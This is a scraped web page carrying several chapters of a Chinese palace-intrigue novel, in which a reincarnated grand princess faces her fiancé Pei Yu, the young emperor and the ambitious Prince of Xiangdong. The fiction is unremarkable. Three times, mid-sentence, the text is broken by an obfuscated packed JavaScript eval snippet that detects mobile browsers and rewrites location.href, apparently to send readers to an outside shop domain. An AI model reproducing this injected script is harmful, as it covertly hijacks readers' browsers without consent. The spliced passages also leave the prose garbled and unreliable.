在公主的记忆里,湘东王这个四哥很识时务。当年公主的亲哥文成皇帝去世,所有王爷都来洛阳奔丧,丧礼结束后湘东王是第一个请求返回封地的。后来三王霍乱朝政依次被杀,公主觉得放宗室在封地不够安全,所以召皇室宗亲于洛阳居住。公主把汝南王叫了回来都没叫湘东王回京,就是觉得湘东王老实。 但现在看来,公主貌似看走了眼! 裴钰回答道:“此事确切属实,怕是不出月余,湘东王便会抵达洛阳。” 萧令瑜心头阵阵阴云密布:这家伙,只怕是来者不善啊。长舒了一口气道:“先帝有令,藩王无事不得回京,湘东王此番前来怕是存了狼子野心。”缓和了片刻后,挑眉问道:“不过,这又算是什么喜事呢?” “贼人自投罗网,怎么不算是喜事一桩。更何况...”裴钰透过屏风,抬眸直直地看向后面端坐的人影:“殿下为何在府上休养多日,又为何不见官员也不问政事,不就是为的...试探吗?” 萧令瑜猛地抬起头来:!!! 不是,你在说些什么啊,什么叫我闭门不出是为了试探?等等...湘东王不会是觉得公主病入膏肓了所以才会进京来?!可我放出风声的目的只是为了好好学习啊喂! 难道说她阴差阳错的闯祸了?!Oh,No! 萧令瑜手中的帕子倏然落下,待反应过来后,身体前倾,将手压在了案桌上,试图平复一下此刻震惊的心情。不想因为她的力度和动作幅度太大,案桌发生偏移,桌脚划过地面发出刺耳的划嗤声。更尴尬的是,她还不小心碰倒了茶杯,茶水很快在案桌上蔓延,然后滴落在地。 萧令瑜立马觉得自己实在是太过失态了。虽然她很懵,虽然她很慌,但是堂而皇之的将失措表现出来可不符合人设!正想着怎么搪塞对方时,屏风后面的人却突然动了。 “殿下!” 萧令瑜努力压下去的心绪随着对方的动作再起波澜。隔着屏风她还能装一装,但要是面对面,伪装的难度可就大大增加了! 你给我乖乖在后面坐好喽,别过来。萧令瑜一下急了,刚要开口让他别动,却在紧要关头被口水呛住,重重咳嗽了起来。 在萧令瑜焦急的视线中,原本坐在后面的人影已经越过屏风过来了!萧令瑜匆忙之间低下头,用袖子遮挡住自己的下半张脸。 “殿下,您无事吧。”很快,裴钰倏然出现,行云流水般的走到萧令瑜身旁,跪坐在她身旁,然后拿出随身携带的丝帕递了上去。 萧令瑜最先看到的就是他的手。那是一只有骨感且细长的手,像打磨过的细润的藤竹。那样的一只手上,握有四四方方白底绣藤蔓的帕子,隐隐约约之间,能闻到帕子上散发的干草的芬芳。 萧令瑜拿过他的帕子捂住了嘴,良久缓和了情绪之后抬眸看向他,眼神尖锐而犀利。 别以为递帕子来我就不瞪你,说让你过来了吗!真是放肆至极! 裴钰的神情坦然,嘴角噙着若有若无的笑意,垂眸致歉道:“无意惊扰殿下,微臣有罪。”可看他的样子,哪里有请罪的意思。 萧令瑜现在没有别的想法,只想快些把这人打发走。她喘匀了气,之后冷冷说道:“你说的事情我已然知晓。” 裴钰道了一声是。 萧令瑜接着对他说:“日头渐渐起了,我也就不留你了。”示意从门口处过来的绿芙道:“绿芙,送客。” 裴钰起身后退了两步,拱手行礼:“臣告退。” 等到绿芙把人送走后回来,萧令瑜立马吩咐:“着人去宗正寺,查问湘东王有无上折回京的消息。”同裴钰的婚事暂且放在一边,当务之急是要确定湘东王回京的事情是否属实。 绿芙哎了一声,立马去办了。 此时,裴钰从公主府中出来,踏上了马车,不过在离开之前,他盯着公主府上的匾额看了许久。脑中恰如其分地想起方才萧令瑜看向他那尖锐审视的目光,垂眸一笑。 一开始看不到公主的模样,只能听到公主的声音时,他还以为是他想错了。可后面公主因为自己戳破了她的谋算一时慌乱,但很快恢复如常后,他就知道自己赌对了。 这位连杀三兄,株连众多旁支宗室的公主殿下,是在用一场沉寂来试探他人的野心。而湘东王就是那个沉不住气咬钩的鱼。 裴钰长舒了一口气,为自己提前书信知会远在长沙做县令的裴氏门生,早朝廷一步收到湘东王有异动的消息而庆幸。 如此一来,公主应该知道纵使他祖父已然过世,但裴氏依旧不容别人小觑。而且通过此事也能让公主知道,他裴钰,有才智有能力再次撑起裴氏的门楣,而他也愿意为公主马首是瞻。 他们二人的婚约依旧是一笔划算的交易! 想到此处,裴钰缓缓闭上了眼。 听闻上巳节时,公主于洛水河畔和韦家人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585434|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同春游,期间和韦中书令韦庭忠的远方堂弟韦庭允相谈甚欢。之后陛下诞辰,邀韦家等外戚于皇宫宴饮,其中韦庭允也在,陛下还当众授予韦庭允朝议郎的官职。 有心之人譬如他难免会将这些事情联系起来:这公主有心悔婚的消息,究竟是子虚乌有空穴来风,还是恰有其事呢? 韦氏?呵! 此时萧令瑜正在堂内焦急的等待,大概过了有半个时辰,绿芙进来回话,“回殿下,奴婢差人去问过,宗正寺内暂未收到湘东王请求回京的折子。” 没有? 萧令瑜眉头一皱,接着神情一凛。如果说裴钰的消息属实,那么意味着,裴钰的消息来源比朝廷还要快! “裴钰是怎么知道湘东王动向的。”萧令瑜眼中一片深沉,喃喃自语:“难道说...百足之虫死而不僵...”毕竟是有底蕴的世家,便是领头羊没了,也不能小瞧啊。 绿芙在一旁听到了萧令瑜的话,眼中一亮,多日来的困惑终于有了解答。她恍然大悟,终于明白这些时日公主明明已经养好了身体却依旧在府上闭门不出的缘由了。同时她也明白裴家长公子为什么会让她传那句贺喜的话了。 绿芙扬起一个笑容,不过在看到萧令瑜脸上的沉重之后,她的笑容一收,走过去轻声替萧令瑜建议分忧:“殿下是在担心世家?”视线略过梳妆台,“可要按照原计划行事?届时裴氏...就都掌握在您手中了。” 萧令瑜还没从刚刚湘东王的事情上缓过神来,又被绿芙的话刺得一激灵。 原计划是...脑海中瞬间闪过几个密谋的场景,以及...那瓶毒药! 萧令瑜曾经想过公主为什么会叫人购买毒药,但因为之前的事情太多,这个问题她就暂时忽视掉了。但现在她可算清楚公主藏匿的那瓶毒药是干什么用的了。公主是要谋杀亲夫! 可,为什么呢? 那得回顾一下公主和裴钰的婚约是怎么来的了。 二人的这场婚约其实来于文成皇帝临终前的一句嘱托。后来三王谋反,公主为了拉拢裴氏所以就将这场婚约给砸实了。那时公主和裴钰的祖父裴旭相约,诛杀三王稳固朝堂之后再行三媒六聘之礼。之所以公主到现在还不曾嫁人,是因为裴钰的祖父裴旭于一年前去世,裴钰需要守孝。现在裴钰出了孝期,俩人便要谈婚论嫁了。 这瓶毒药,就是公主为了裴钰特意准备的。 至于为什么公主想要毒杀裴钰... 蚕食! 这是萧令瑜梳理完记忆之后脑海中最先冒出来的两个字。 如今裴氏的领头人裴旭已然去世,裴氏主支在京中无人,这个时候公主若与裴钰成了婚,然后再杀了他,那么就可以用裴氏长媳的身份正大光明地接手裴氏在洛阳的财产与人脉,充盈皇家。 萧令瑜:公主的手腕可真狠!但是谋算也是真的强! 不过面对绿芙执行原计划的提议,萧令瑜抿了抿唇,缓缓开口:“不急,届时再看吧。”公主有这个谋算,不代表她就要这么做啊。她毕竟是个遵纪守法的人,无缘无故,好吧也不是无缘无故,但是为了利益毒杀别人什么的,她做不到啊!摔! 绿芙想了下觉得也是,殿下现在的心思应该都在湘东王身上,“午后,奴婢再派人去宗正寺打听消息。” 萧令瑜颔首道:“嗯。” 当天,萧令瑜依旧不曾收到湘东王的信息,直到第二天清晨,宗正寺递交了一份湘东王请求回京奏折的抄录,里面的内容出乎了萧令瑜的意料。因为上头写着,湘东王持有昭武皇帝的密旨,请求回京辅政!密旨的大体内容是:昭武皇帝临终前嘱托湘东王,若是有朝一日国有幼主,则湘东王可凭此密旨进京辅政。 萧令瑜:什么玩意!公主的父亲还给湘东王留了这么个东西吗?她怎么不知道! 但现在不是纠结这些的时候。让她想想,接下来该怎么办。 当天下午,绿芙得到了侍女的禀报后走上前来:“殿下,陛下派人请您入宫一叙。” 萧令瑜深吸一口气说道:“那就走吧。” 7. 商讨对策 紫微宫,坐落于洛阳西北地势高处,北靠邙山南邻洛水,乃是大周朝的皇宫,遥遥一望便能看出宫室的气势磅礴,更不要提站在宫门口,抬眸看向巍峨的城楼,更能感受到什么叫作天家威严。 抵达紫微宫的长乐门后,萧令瑜下了马车。很快,又有宫人抬了轿辇请她上轿。不多时,萧令瑜便到了地方——紫宸殿,紫微宫内朝的大殿,是皇帝私下接见近臣,同样也是皇帝晚间歇息的寝殿。 皇帝此时正在查看奏折,待看到萧令瑜进来后立马起身相迎,笑着道:“姑姑来了。” 萧令瑜微微颔首示意——不管私下里还是正式场合,她这个大长公主都不需要向皇帝行礼,这是她的特权。“陛下相邀,自然要来。” 皇帝抬手请她落座,然后关心地说:“我瞧着姑姑的面色可比先前好多了。月余未见,姑姑的身体可恢复完全了吗?” 萧令瑜眉眼舒展着笑了笑,回答:“是好了许多,劳烦陛下挂念。陛下近来可好?” 皇帝含蓄一笑,不曾回答。反倒是旁边的皇帝的贴身太监,内侍省总管余福感慨道:“陛下最近吃睡不安,时不时念叨着殿下呢。” 萧令瑜顿时就觉得心中熨帖极了。 这时内侍前来上茶,只不过给皇帝上的是茶,但是给萧令瑜上的却不是,而是一杯乳白的浆烙。 萧令瑜看着两杯截然不同的东西露出些许的疑惑。 余福上前道:“陛下知道殿下大病初愈不宜饮茶,故而命人准备了殿下爱喝的杏仁露。” 原来如此。 皇帝随意摆了摆手叫人退下,转头对萧令瑜说:“知道姑姑喜甜,所以叫人多加了一份蜜糖。” 萧令瑜不禁在心头感慨:小皇帝对自己的姑姑真的好贴心,必须给他竖大拇指,好侄子。“陛下有心了。”萧令瑜说道,顺势拿起茶杯,小口啜饮。既然公主喜欢,那她也得喜欢! 皇帝神色温和,不过很快又蹙起眉头,“早在之前,我看过了公主府送往大理寺的卷宗。上面说姑姑抓到了罪魁祸首,但不想那人再次行刺,行刺不成,怕遭受酷刑,因此自尽。” 说到此事,萧令瑜心情低落了几分,颔首表示:“没错,那人原是我府上侍女,名叫巧绣,下毒也好行刺也罢,都是她所谓,只是不知她是受了谁的指使。” 皇帝眉头紧锁,急切地追问:“那刺客死前就没有说过什么吗?” “不曾。”萧令瑜缓缓摇了摇头:“明明幕后主使遣派杀手要对她杀人灭口,可她却忠心耿耿,临死前不曾吐露只言片语,决绝自尽。” 皇帝不禁双手握拳,眉眼间弥漫着浓浓的愤怒:“如此也是便宜她了。要是落在朕手上,朕一定要将她千刀万剐。” 萧令瑜:...... “此番请姑姑前来,除了过问一下之前行凶的案件,此外还想跟姑姑商讨一番湘东王回京之事。”待心绪平复之时,皇帝示意余福将折子送给萧令瑜查看,“今日早上,湘东王请求回京的折子抵达了宗正寺。此外朕还收到了武陵驿站的消息,说湘东王带着百余名侍从已经在回京的路上了。” 萧令瑜接过折子却没有看,沉重地说:“此事,我已经知晓了。” “王叔此次回京,怕是如同当年三王一般。”皇帝不自觉地长叹了一口气,感慨道:“姑姑以为呢?” 萧令瑜也是这么想的,点头回答:“我的看法与陛下一样。” 就凭湘东王手握昭武皇帝的密旨,但是却在当年三王叛乱时不曾拿出,而是选择返回封地暗暗蛰伏,就知道此人的心思有多深沉了。现在三王被杀,公主遇害,湘东王才把密旨拿出来打着辅政的旗号回京,这如意算盘明眼人都看得出来。 皇帝眼眸低垂,“姑姑不觉得此次湘东王回京太过巧合了吗?” 萧令瑜:是太凑巧了。凑巧到,她都怀疑巧绣是不是湘东王指使的。从人物的动机,再到巧绣行刺的时间,全能对得上。“但是巧绣已经死了。”死无对证,毫无证据。 皇帝抿了抿唇,无奈地笑了下:“原本我还想着驳回湘东王回京的请求,可是一时间却找不出合适的理由。” 萧令瑜抬眸,语气不急不缓:“陛下莫要担忧。湘东王回京,焉知不是一件好事。一个存有异心的王爷,比起任其在封地坐大,不如放到身边来,更为妥当。” 萧令瑜仔细想过了,如今这种情况恰如前几日裴钰所说,湘东王回京那是自投罗网,怎么不算是喜事一桩。待湘东王回京,若是他老实,那就将他控制在洛阳一辈子。要是他不老实......那就抓他的把柄,然后按罪论处! 萧令瑜已经给自己做好了心理建设:皇帝年幼,朝堂也刚平稳了没多久,这个时候对付湘东王自然得她来挑大梁。 如果你要问,政治斗争可不是儿戏,萧令瑜行不行啊。 萧令瑜表示:想想齐王、楚王、东海王的坟头。她是行也得行,不行也得行。她好不容易重生,那就是奔着好好活一辈子去的!这要是半路上噶了,得多冤啊。 萧令瑜既是给自己打气,同样也是安抚皇帝:“陛下放心,我心里有数。”公主余威犹在,我就不信这个时候有谁敢站湘东王的队。 皇帝眉眼舒展,重重地说:“姑姑有此话,那侄儿就放心了。” 萧令瑜点了点头,然后道:“更何况湘东王手握昭武皇帝的密旨,可比先前留京谋反的三王名正言顺。陛下能用什么理由不让他回来呢?” “姑姑说得是。”皇帝想了下问道:“祖父去世时,我尚且年幼。那时姑姑不曾听说过密旨遗诏的风声吗?” 萧令瑜摇了摇头,“不曾。”昭武皇帝去世的时候公主才十二三,根本不知道什么所谓的密旨。“怕是先帝也不知道这件事。”心中不禁碎碎念起来:公主她爹,你都死了这么些年了,还给后人搞事情。 没忍住轻哼一声,冷冷地说道:“昭武皇帝的密旨啊...呵...” 密旨...回京...名正言顺... 皇帝听着萧令瑜饱含着深意的语气突然精神一振,眼中划过一丝光亮,“姑姑的意思是...” 萧令瑜回过神来,冲他安然一笑:“我的意思是波澜不惊,从容不迫方为大道,毕竟事在人为。”在战略上我们要蔑视敌人,在战术上则要重视敌人。 皇帝眼睛瞪大了一瞬,但很快反应过来,笑着拱手:“姑姑所言甚是,侄儿...受教了。” 萧令瑜:嗯!让我们团结一致,携手对外吧,大侄子! 关于湘东王的事情谈完后,萧令瑜也准备着离开了。她今天是怎么进宫的,就怎么回去。咳,这样的说法貌似也不太准确。因为她来是一个人来,但是走,却是带着一群东西走的。 这位大侄子实在是太大方了,一定要给予赏赐,什么东北送来的鹿茸、灵芝,南方进贡的绸缎、珍珠,还有西域那边的琉璃器具,那是一箱一箱地送,萧令瑜想拦都拦不住。 皇帝人还说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585435|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“侄儿年幼,也尚未娶亲,这些东西平白在库房里落灰也不好,送于姑姑使用,就是它们的造化了。” 回到公主府后,萧令瑜叫人将这些东西抬下来归置。药材一时半会她也用不上暂且收着,琉璃器具之类的也都换上,她想用新的。绸缎用来做衣服,珍珠用来做首饰。 一句话,这是大侄子给她的心意,她要物尽其用。但是等吩咐完这些之后,萧令瑜的好心情不知为何慢慢地消退了。 湘东王啊... 萧令瑜缓缓吐出一口气,然后开口道:“将昨天我未看完的书籍拿来。”她这几天看起了兵法,什么合纵连横、远交近攻。待到她融会贯通之际,便要拿湘东王练手。 萧令瑜:过程可以有败有胜,但结果,一定要赢! 此时紫微宫内,皇帝在湘东王请求回京的折子上用朱批写下一个准字,然后吩咐道:“送至门下省盖章,再由宗正寺发回。” 按照常理,藩王回京必须要得到准许才能动身,可湘东王却好像算准了他没办法拒绝一般,在得到批准前就启程了,可见湘东王对回京辅政之事有多势在必得。 皇帝的视线扫过身下的龙椅,眼睛慢慢眯起:这皇位,这天下,无人不在觊觎。但现在他还太小了,还不能服众。不过没关系,只要再给他一点时间,总有一日,他便要将这至高无上的权力完完全全地掌握在自己手里。 “陛下,老奴前来复命。”此时,内侍总管余福从外头走进来,轻声说道。 皇帝抬起头来问:“都安排好了吗?” 余福点头恭敬地回答:“回陛下,都安排妥当了。” 皇帝淡淡一笑:“好,很好。”他伸手揉了揉眉眼,这两日的担忧好像都有了解答,让他整个人都不免放松下来。 此次多亏了姑姑的提醒,他才想到了如此的办法...湘东王...他现在都有些迫不及待地看到自己这个好叔叔了。 呵呵,我倒要看着你是如何的自掘坟墓,自寻死路! —— 时间一晃便到了七月,洛阳城内翠碧翠碧的树叶也慢慢变得深沉。在众人的翘首以待中,湘东王这个反派终于进京了。当天傍晚,皇帝要在皇宫弘德殿内设家宴为湘东王接风。而此时,萧令瑜正在公主府专心致志地梳妆打扮。 作为大周的大长公主,便是参加寻常宴饮的礼服也是华贵非常。在诸多礼服之中,萧令瑜特意选了一身鹅黄绣百鸟的襦裙,再添一件绛紫色的薄纱大袖衫。 穿着上大气华丽,妆扮上也不能含糊。 绿芙带着几名侍女为萧令瑜梳妆绾发,将发丝高高盘起挽成发髻,然后用九对花钗左右装点。除却这些,还有做配的耳间环铛,项间璎珞,手臂上的金丝镯,腰间的环佩...... 正所谓输人不输阵。今日,萧令瑜要让自己无一不精无一不细,务必达到盛气凌人的效果。 大概梳妆了近半个时辰,萧令瑜终于收拾妥当。她慢慢站起身来,看向镜中的自己,满意地点了点头:这就对了,公主就该是这样的派头,此般的气势。 她微微一笑,轻声道:“走吧,莫要让陛下和湘东王等急了。” 不多时,萧令瑜便来到了紫微宫的弘德殿。外头守候的内侍远远地看到她的身影便躬身行礼,然后高声喊道:“大长公主到。” 萧令瑜抬腿踏入殿中,恰如其分地露出一个笑意,缓缓看向殿中的两人,轻声道:“路上车马耽搁,我可是来晚了?” 8. 密旨风波 殿中,原本皇帝和湘东王正在寒暄,可听到外头内侍的传报后,两人的交谈声立马一停,纷纷向殿门处看去。在二人的注目之下,萧令瑜的身影缓缓出现。 皇帝嘴角的笑意十分明显,立马对余福道:“快,请大长公主入席。” 相较于皇帝高兴的神情,湘东王的脸色可就没那么好看了。他不自觉地皱起了眉头,眼中闪过一丝疑惑,尤其是在看到萧令瑜气势磅礴地从外头走进来时,疑惑慢慢转变成了深沉的凝重。 不过到底不是三岁小儿,没几下他就调整好了心态,微笑着开口说道:“皇妹,一晃多年,别来无恙啊。” 萧令瑜踏入殿中,入目就是坐在上方主位的皇帝,至于坐在右侧次桌,脸上噙着虚假笑容和她客套的男子,应该就是公主的四哥湘东王萧钧了。 “托兄长的福,小妹一切都好。”萧令瑜在余福的引导下到左侧宴桌落座,然后看向湘东王似笑非笑地回答。 湘东王:“先前听闻皇妹遇刺险些身亡,为兄我可真是忧心忡忡。但今日一见,便可知外头所传皆是谣言,如此我也就放心了。” 萧令瑜挑眉一笑,“兄长远在湘东,不想却对洛阳的消息如此灵通。” 湘东王神情微顿,缓缓回答:“小妹可是忘了,我在洛阳留有宅邸,府上留了些人看守。更何况皇妹遇刺乃是大事,我这个做哥哥的又怎么能不关心呢?” 呦呦呦,好个兄友妹恭哦。 萧令瑜在心里撇了撇嘴,然后道:“传言么,自然是真真假假不可分辨。不过,我先前遇刺确有其事,可惜没有揪出背后之人。”紧接着问他:“四哥以为是何人所为呢?” “怎么,皇妹竟然没有查出幕后之人?”湘东王没有正面回答,反而一脸诧异地反问。 萧令瑜摇了摇头,“不曾。” 这时皇帝接过话题说道:“行刺之人畏惧受刑,自尽而亡。不曾查出罪魁祸首,朕实在是愤慨至极。” 湘东王一脸凝重的说道:“是啊,谋害皇亲,背后主谋实在可恨。” 萧令瑜见湘东王左顾而言其他,便知道试探不出什么了,继续将话题转到湘东王本人身上,问道:“四哥这些年在湘东可好?” 湘东王笑着回答:“一切皆安。” “一切...皆安...”萧令瑜长舒了一口气,很快面色一变,神情冷冽,“湘东王在封地安安稳稳数年,为何突然之间进京来呢?”放着大好的日子不过,非要从封地过来,心里没有小九九谁信呢! 听到萧令瑜如此尖锐的问话,湘东王不急不缓地应对回答:“当然是关心朝堂安稳了。”当即正色道:“当年父皇还在时,曾数次感慨皇兄体弱,太孙年幼。后来父皇驾崩,特留予我一道密旨。父皇道:皇兄虽然聪慧贤德,可是体弱多病。若是将来皇兄有所不济,皇孙年幼无法亲政,那时我可在一旁辅政,维护大周的安稳。” 说到此处,湘东王眼中饱含热泪,感慨万分:“父皇高瞻远瞩啊......” 萧令瑜默默在心里翻了个白眼:“当年皇帝初登基之时,齐王、楚王、东海王联合众人犯上作乱。那时湘东王手握密旨,为何一言不发返回封地呢?!” 湘东王振振有词:“那时有皇妹还有皇兄给陛下所留的辅政大臣在,我又何必生事?再者,皇妹不是已然诛杀他们了吗?” 萧令瑜要被湘东王的这套说辞气笑了。举个不恰当的例子,比如说有户人家失了火,众人忙着救火,等到火被扑灭之际,旁边的邻居特地跑过来说:哎呀,我刚刚看到你家着火了,但是我觉得你们人多,我就没去帮忙。嘿,你说你要是那户失火的人家,你是不是想给那邻居一巴掌? 萧令瑜觉得,湘东王的举动可比那束手旁观的邻居坏多了,一巴掌太少最起码值三巴掌。 “那湘东王为何选择此时将父皇的密旨公之于众呢?”之前你不吭声,结果现在三王谋反被杀完了,你突然把密旨亮出来了,闹呢?! 湘东王长长地叹了一口气,“因为皇妹你啊......” 萧令瑜:“我?” 湘东王道:“是啊。皇妹遇刺,说明洛阳存有贼人,我如何不心急如焚?更何况皇兄所留辅政大臣,裴中书令已然去世,门下省陈侍中年事已高。这时我不进京来,那要待到何时呢?” 萧令瑜“呵”的一声笑了,“那可真是让四哥失望了。”公主虽然没了,可我还在呢,活蹦乱跳的。 湘东王没想到萧令瑜会把话说得这么直白,一下不知该作何反应。 “不怪姑母仔细询问,实在是王叔手上的密旨叫人难以置信。”在一片静默之中,皇帝徐徐开口:“昭武皇帝的这道旨意,朕不曾从先帝口中知晓,而姑母也不曾听说过只言片语,故而对王叔百般询问。” 湘东王抬头向上,问道:“陛下的意思是?” 皇帝侧眸看向一旁,“朕已经叫人去内侍省秘阁处查找昭武皇帝的密旨存档核验真伪了。” 就在这时,弘德殿外隐隐传来侍从走动的声音。皇帝身边的余福往外看了两眼,赶忙出去查看,随后领着一人走了进来。 那人一来就下了跪,高声道:“臣内侍省秘阁主事叩见陛下。” 皇帝“嗯”了一声,询问说:“朕命人查找昭武皇帝的密旨留档,可曾找到?” 话音刚落,秘阁主事五体投地惶恐开口:“回陛下,臣查阅了昭武皇帝去世前后的所有圣旨录本,可是...可是...并未找到有关昭武皇帝嘱托湘东王辅政的旨意啊!” 此话一出,萧令瑜立马懵了,震惊地缓缓看向湘东王:不是,你手里的密旨是假的?哇塞,你胆子也太大了吧,竟然敢伪造圣旨?! 皇帝眯起了眼睛,大喝一声:“荒唐!”也不知道这句荒唐是呵斥的秘阁主事还是湘东王。 面对此情此景,湘东王眉头皱起,但眼中却并没有露出丝毫的恐慌,沉声道:“密旨乃是当年昭武皇帝亲手所赠,怎会有假?昭武皇帝言,密旨共有三则,一则交于我手,另一则存放在内侍省秘阁内,还有最后一则,就放在供奉萧家先祖的神御殿匾额之后。” 皇帝蹙眉,然后吩咐:“余福,你亲自带人前去神御殿查看。” “且慢,”湘东王看向身后带来的侍卫开口:“罗宴,你和余内侍一同前去,查看神御殿有无圣旨。” 一行人很快离去,殿中也因为此事而变得一片沉寂。 萧令瑜暗暗推翻了自己刚才的假设:湘东王如此信誓旦旦,那他手上的密旨不见得是假的。再者,他也没有必要伪造圣旨,因为圣旨这个东西不是孤本,在宫中都是有记录有留档的。如果他伪造圣旨,势必要被揭穿,而矫诏可是大罪。可是方才那秘阁的主事说没有查到密旨记录又是怎么回事呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585436|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在萧令瑜思索的时候,余福他们回来了。前面打头的余福手捧着一个斑驳的竹筒走了进来。他当着众人的面,将竹筒打开,从里面拿出卷起来的明黄色的布帛,然后呈给了皇帝。 皇帝稍加看过之后,又叫人将这道密旨送到了萧令瑜的手中。萧令瑜接过快速扫了一遍,只见上头的内容和湘东王所说得分毫不差。 湘东王沉声道:“陛下,皇妹,如此可确信昭武皇帝的旨意属实了吧。” 皇帝伸手拿起竹筒突然将其掷了下去,竹筒摔在地上顿时四分五裂。殿内的侍从因为皇帝的发火全都跪了下去。 皇帝攥紧了拳头,盛怒地看向跪在殿中的主事,叱问道:“这到底是怎么回事?!” 秘阁主事已经被吓得说不出话来了,支支吾吾:“微臣,微臣......” 皇帝不容他分辨,厉声开口:“来人,秘阁主事玩忽职守致使昭武皇帝存于秘阁的密旨丢失,将他拖下去!” “陛下,陛下...”主事一惊,赶忙道:“微臣冤枉啊,微臣冤枉!” 皇帝高声道:“还不将人带走!” 很快,殿外的侍卫上前来,将主事押了出去。 萧令瑜垂下眼去,良久后说道:“陛下息怒。” 有她这句话在,皇帝这才慢慢缓和了神色,看向湘东王说:“王叔受惊了。朕一时不察,不想底下人竟然如此玩忽职守,险些置王叔于不忠不孝之地。” 湘东王微微一笑,“陛下言重了。” 皇帝拿起桌上的酒杯,遥遥一举,“朕自罚三杯给王叔赔罪。”说着,将杯中酒一饮而尽,接着再倒,再饮,一连喝了三杯才停。之后过了没一会,皇帝的脸就红了,宴席进行到一半,皇帝就说自己不胜酒力,要回寝殿更衣。之后,弘德殿内就剩萧令瑜和湘东王在。 湘东王放下筷子,看向萧令瑜道:“其实看到皇妹身体无碍,我也有些后悔。” “哦?”萧令瑜淡淡开口:“皇兄,何出此言呢?” 湘东王似真似假的道:“若是早知皇妹虽遇不测但身体并无大碍,我又何必回京呢?不如明日我上折一封,返回封地如何?” 萧令瑜摇了摇头:“四哥说笑了。”来都来了,那你就别想走了,“这么些年我在朝中辅政如负千钧,四哥一来,我就觉得轻松多了。”转而提议说:“只是四哥一人前来,和家人两地分隔怕是不好,不如早些将湘东王妃以及世子都接过来。” 湘东王拒绝道:“还是算了,毕竟湘东的王府不能没有人照看,再者世子也大了,正好历练历练。”说着拿起酒杯,“不说这些了,皇妹,请。” 又过了一会,余福前来禀报,说皇帝不胜酒力已然歇下,如此萧令瑜和湘东王也就干脆起身出了皇宫。 坐在回府的马车上,萧令瑜不禁在心头感慨:说话滴水不漏,遇见突发情况还能沉得住气。湘东王,绝对是一个劲敌。 殊不知,此时湘东王也在感慨:此次进京属实是贸然行事了。可他等这天等得实在太久太久,久到自己都快忘了曾经的雄心壮志。虽说他错信了传言以致落入了圈套。不过,所幸他此次回京是孤身一人,又可以名正言顺地出入朝堂,事情应该还有转圜的余地。 现在返回湘东已是不能,那么...就放手一搏吧,试试他这个湘东王究竟有多大的能耐,能不能搅动得起洛阳的风云! 9. 间谍监视 湘东王手握昭武皇帝密旨,名正言顺地出入朝堂已成定局。第二天早朝,皇帝当着文武百官的面宣布了此事,湘东王即日起便以辅政大臣的身份上朝参政议政。 在宣政殿的大殿之中,湘东王往右前方踏出一步,从百官之中脱颖而出,拱手高声道:“臣定不负昭武皇帝临终所托,躬行辅佐之职。” 这话说得真是好生冠冕堂皇,但落在萧令瑜耳朵里,就成了:我手里有我爹、你爷爷的密旨所以能够理所应当地干涉朝政,你奈我何。 她没忍住偷偷翻了一个白眼。 是的,此次朝会,萧令瑜也在。 算算日子,萧令瑜差不多有两个多月的时间没有出现在公众面前了。这个时候要是还不露面,保不准有人觉得她是真的病入膏肓无法主事了。所以今日早朝,她就跟昨天一样盛装出席了。 一来呢稳定一下朝堂的局面,别让今日朝会成了湘东王一个人的主场。二来也是扯着虎皮做大旗。她要利用公主先前在朝中的威势,给文武百官们紧紧弦。 目前站在你们面前的,一个是先帝亲指辅政大臣,当朝皇帝的亲姑姑,政治手腕过硬,有着连杀三位兄长诛杀数个旁支宗室的战绩,帮助皇帝坐稳朝堂的大长公主。另一个虽然手握昭武皇帝的遗旨,但是该拿出来时却选择隐忍不发,现在朝堂稳定了却突然从湘东冒出来,疑似图谋不轨的王爷。 要站谁的队,可得好好掂量掂量。 萧令瑜的视线缓缓扫过殿中所有官员,心中暗暗想到。 至于这狐假虎威的效果如何么,目前来看好像还不错。早朝过后,所有官员退出大殿,或是结伴而行,或是步履匆匆,其间只有湘东王格格不入,显得格外形单影只。 萧令瑜站在台阶之上,看着湘东王独自一人往宫门外走去,眼睛慢慢眯了起来。就在此时,身后突然传来一声问候。 “殿下玉体恢复康健,如此甚好。” 萧令瑜转过身去,发现说这话的是一位头发半白的老人。此人身穿紫色官服,面容如同一株苍劲的铁树。她瞬间反应过来,这是门下省侍中,姓陈,名玄素。陈玄素资历甚高,乃是历经三朝的老臣,同时也是先帝临终前指定的,目前除却萧令瑜以外,仅存的辅政大臣。 面对陈玄素的问候,萧令瑜笑着回答他说:“劳陈相关怀,我确实已无大碍。”继续转头看着湘东王远离的背影,沉沉道:“只是朝中再起风云,我一时间寝食难安。” 